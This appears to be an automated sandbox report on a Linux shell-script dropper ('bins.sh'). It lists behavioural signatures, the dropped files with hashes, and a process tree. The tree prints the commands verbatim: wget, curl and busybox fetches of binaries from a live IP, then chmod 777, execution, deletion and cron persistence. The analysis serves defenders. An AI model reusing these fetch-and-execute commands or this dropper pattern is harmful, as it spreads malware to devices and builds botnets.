Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    16/11/2024, 19:02

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241116-xprt7ssarp
  • SHA256 41c9eb44e281e571e0870316123197d86f3a23a680d644b2a4318fefa0b5cbe9
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1950) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 8 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 20 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:655
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:657
        • /usr/bin/wget
          wget http://216.126.231.240/bins/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          2⤵
          • Writes file to tmp directory
          PID:659
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:684
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          2⤵
          • Writes file to tmp directory
          PID:698
        • /bin/chmod
          chmod 777 GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          2⤵
          • File and Directory Permissions Modification
          PID:704
        • /tmp/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          ./GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          2⤵
          • Executes dropped EXE
          PID:705
        • /bin/rm
          rm GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          2⤵
            PID:708
          • /usr/bin/wget
            wget http://216.126.231.240/bins/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            2⤵
            • Writes file to tmp directory
            PID:710
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:722
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            2⤵
            • Writes file to tmp directory
            PID:738
          • /bin/chmod
            chmod 777 VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            2⤵
            • File and Directory Permissions Modification
            PID:740
          • /tmp/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            ./VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            2⤵
            • Executes dropped EXE
            PID:741
          • /bin/rm
            rm VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            2⤵
              PID:743
            • /usr/bin/wget
              wget http://216.126.231.240/bins/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              2⤵
              • Writes file to tmp directory
              PID:744
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:748
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              2⤵
              • Writes file to tmp directory
              PID:763
            • /bin/chmod
              chmod 777 NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              2⤵
              • File and Directory Permissions Modification
              PID:770
            • /tmp/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              ./NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              2⤵
              • Executes dropped EXE
              PID:771
            • /bin/rm
              rm NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              2⤵
                PID:774
              • /usr/bin/wget
                wget http://216.126.231.240/bins/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                2⤵
                • Writes file to tmp directory
                PID:775
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                2⤵
                • Checks CPU configuration
                • Writes file to tmp directory
                PID:782
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                2⤵
                • Writes file to tmp directory
                PID:783
              • /bin/chmod
                chmod 777 oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                2⤵
                • File and Directory Permissions Modification
                PID:784
              • /tmp/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                ./oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                2⤵
                • Executes dropped EXE
                PID:785
              • /bin/rm
                rm oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                2⤵
                  PID:787
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                  2⤵
                  • Writes file to tmp directory
                  PID:788
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:789
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                  2⤵
                  • Writes file to tmp directory
                  PID:790
                • /bin/chmod
                  chmod 777 nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                  2⤵
                  • File and Directory Permissions Modification
                  PID:791
                • /tmp/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                  ./nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                  2⤵
                  • Executes dropped EXE
                  PID:792
                • /bin/rm
                  rm nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                  2⤵
                    PID:794
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                    2⤵
                    • Writes file to tmp directory
                    PID:795
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:796
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                    2⤵
                    • Writes file to tmp directory
                    PID:797
                  • /bin/chmod
                    chmod 777 Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                    2⤵
                    • File and Directory Permissions Modification
                    PID:798
                  • /tmp/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                    ./Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:799
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:801
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:802
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:803
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:804
                        • /bin/rm
                          rm Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                          2⤵
                            PID:806
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
                            2⤵
                            • Writes file to tmp directory
                            PID:809
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
                            2⤵
                            • Checks CPU configuration
                            PID:891
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
                            2⤵
                            • Writes file to tmp directory
                            PID:893
                          • /bin/chmod
                            chmod 777 sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
                            2⤵
                            • File and Directory Permissions Modification
                            PID:898
                          • /tmp/sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
                            ./sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
                            2⤵
                            • Executes dropped EXE
                            PID:899
                          • /bin/rm
                            rm sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
                            2⤵
                              PID:901
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
                              2⤵
                                PID:902
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
                                2⤵
                                • Checks CPU configuration
                                PID:903

                            Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

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                                  Downloads

                                  GkADRUpSSm0RUj5aype8y9pTa8mHIFil12

                                  • Path /tmp/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
                                  • Size 112KB
                                  • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                  • MD5 SHA1 SHA512 SSDEEP

                                  Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2

                                  • Path /tmp/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                                  • Size 119KB
                                  • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                  • MD5 SHA1 SHA512 SSDEEP

                                  NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW

                                  • Path /tmp/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
                                  • Size 151KB
                                  • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                  • MD5 SHA1 SHA512 SSDEEP

                                  VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg

                                  • Path /tmp/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
                                  • Size 98KB
                                  • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                  • MD5 SHA1 SHA512 SSDEEP

                                  nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf

                                  • Path /tmp/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                                  • Size 99KB
                                  • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                  • MD5 SHA1 SHA512 SSDEEP

                                  oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D

                                  • Path /tmp/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                                  • Size 117KB
                                  • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                  • MD5 SHA1 SHA512 SSDEEP

                                  tmp.HVXPXy

                                  • Path /var/spool/cron/crontabs/tmp.HVXPXy
                                  • Size 210B
                                  • SHA256 5ebefea045dd602519d7618b1892b530e2745625472ea911354d49b8a79d6181
                                  • MD5 SHA1 SHA512